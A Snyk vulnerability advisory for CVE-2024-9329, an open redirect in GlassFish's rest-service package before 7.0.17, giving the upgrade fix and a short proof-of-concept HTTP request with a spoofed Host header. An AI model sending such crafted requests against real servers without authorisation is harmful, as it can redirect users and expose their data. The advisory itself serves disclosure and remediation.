Open Redirect Affecting org.glassfish.main.admin:rest-service package, versions [,7.0.17)
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.04% (15th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JAVA-ORGGLASSFISHMAINADMIN-8132098
- published 30 Sep 2024
- disclosed 30 Sep 2024
- credit Marta Rybczynska
Introduced: 30 Sep 2024
CVE-2024-9329 Open this link in a new tabHow to fix?
Upgrade org.glassfish.main.admin:rest-service
to version 7.0.17 or higher.
Overview
Affected versions of this package are vulnerable to Open Redirect in the RestManagementAdapter
class, accessible via the /management/domain
endpoint. An attacker can modify the Host
parameter to contain an arbitrary URL that they control, to exfiltrate data from a user.
PoC
GET /management/domain HTTP/1.1
Host: google.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101
Firefox/115.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/
*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1